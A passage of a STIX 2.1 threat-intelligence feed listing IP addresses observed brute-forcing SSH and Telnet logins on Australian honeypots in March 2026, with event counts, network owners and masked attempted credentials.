      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******x, 1********t, 3***********4, 3**********4, 6******8.",
      "id": "indicator--b414315e-bdf0-4395-a220-812f2acff8f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.156.19.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 207713. Organisation(s): Global Internet Solutions LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******9, 1**********Z, 3***********4, 3**********4, W**********!.",
      "id": "indicator--b5666a6a-e071-4a02-a970-c079ab94311f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.143.203.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 156. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268663. Organisation(s): R G DE SOUSA LTDA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******x, 1********t, 6******8.",
      "id": "indicator--c8bf100c-5459-47ae-a725-874f10e83309",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.165.14.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4faf7af3-17e4-4081-8a09-5ec1b65d2901",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.43.45.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:15:13.000Z",
      "valid_until": "2026-04-05T11:15:11.000Z"
    },
    {
      "created": "2026-03-04T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--fe9db862-f509-4761-89e3-48e0151145be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.229.182.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:15:13.000Z",
      "valid_until": "2026-04-05T11:15:11.000Z"
    },
    {
      "created": "2026-03-04T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, D******6, Q********6, a********!.",
      "id": "indicator--1e4cccda-3777-4735-b5dc-32b9108941a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.209.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:15:13.000Z",
      "valid_until": "2026-04-05T11:15:11.000Z"
    },
    {
      "created": "2026-03-04T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): B********3, D******6, e*****1, s******3.",
      "id": "indicator--2ad0b7d8-4d73-4256-bd28-45398a1b2192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.218.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:15:13.000Z",
      "valid_until": "2026-04-05T11:15:11.000Z"
    },
    {
      "created": "2026-03-04T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway S.a.s..",
      "id": "indicator--16964857-567a-4f50-b58d-387795c83d6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.83.160.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:15:13.000Z",
      "valid_until": "2026-04-05T11:15:11.000Z"
    },
    {
      "created": "2026-03-04T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--dc419953-36ce-45d5-96f2-a33f4208c676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.86.206.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:15:13.000Z",
      "valid_until": "2026-04-05T11:15:11.000Z"
    },
    {
      "created": "2026-03-04T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): B********3, R******3, a******5, a********..",
      "id": "indicator--69c085e5-1007-4394-a589-6a7b3df2ac3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.225.220.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:15:13.000Z",
      "valid_until": "2026-04-05T11:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******4, A***********0, M*********4.",
      "id": "indicator--46cf8311-1288-44ea-b36a-1f03806613d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.172.100.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--2b5355d0-4d44-4055-9247-549503ae7375",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.253.165.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--b78901e2-e589-4441-8fbe-3704a4f1d55d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.157.135.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--51e9c9e0-90d2-4dc0-9bcc-40bd82da4c2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.185.117.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 306. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, d****e. Passwords observed (masked): 1****e, 1*******y, 6****1, q****y, w**d.",
      "id": "indicator--e4e8be43-2f2b-471e-af8b-c52e00b93cf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.36.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): $******v, 1*******9, 3***********4, 3**********4, C*******@.",
      "id": "indicator--95d6ca80-7fa2-4cb3-b030-98cc461b7a63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.19.250.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A***********0, A*******., M*********4.",
      "id": "indicator--b36171d3-9b7b-4def-91c4-1ee9d5073fcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.208.69.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): a***n. Passwords observed (masked): I*************************t.",
      "id": "indicator--ef6e2b53-f6ff-432e-a278-8eb56c1f01a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): a***n. Passwords observed (masked): I***********************5.",
      "id": "indicator--65ccce02-21f3-4357-b51b-fd5dceb94b14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U********************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--610b78de-870f-4ea5-9858-b36b18cd972c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T12:15:15.000Z",
      "valid_until": "2026-04-05T12:15:11.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 137239. Organisation(s): Fil Products Service Television Incorporated.",
      "id": "indicator--8896a877-190c-4948-8a6b-ae2bb4963e63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.105.214.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131111. Organisation(s): PT Mora Telematika Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0**6, B********3, z*********3.",
      "id": "indicator--5e443e04-3566-4138-a098-e8d672505ccd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.154.123.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17995. Organisation(s): PT iForte Global Internet. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******., 1**************$, 3***********4, 3**********4, @*******6.",
      "id": "indicator--1c4238bd-b3f4-4671-a0a9-61cbdbba0fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.164.221.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56040. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--82051612-33e5-45bd-b65b-8aafec78a4a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.240.236.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**1, Q**********#, W*******3.",
      "id": "indicator--3684cee4-22eb-4f0a-9a97-25ce34e0ad2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.96.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 69. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t. Passwords observed (masked): 2******2, A******!, P*******!, m****l.",
      "id": "indicator--8bdf4a37-c9c9-4c9a-9dcb-1fe3a6bc2c17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.200.181.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): a***n. Passwords observed (masked): I*************************t.",
      "id": "indicator--edfc8aab-9b46-4757-97d9-b233f247c6aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.174.210.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 8167. Organisation(s): V tal. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**9, A********!, A*****3.",
      "id": "indicator--ca601dff-f66d-4008-815d-42e8e7260245",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.0.167.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): a***n. Passwords observed (masked): I*************************t.",
      "id": "indicator--5b2832c4-7014-49bd-b1f6-6c75ee0a2082",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--43447e83-f2fe-4263-af13-28a2a19a0907",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.105.134.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--021602aa-f101-4954-a344-a23a8581d127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b2100ed8-5587-484c-ad00-f4b96643d77e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--91bacfa8-d322-45ee-b170-a9965e6febdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--99589a5e-3591-4ce9-a054-af82b6a8b331",
      "labels": [
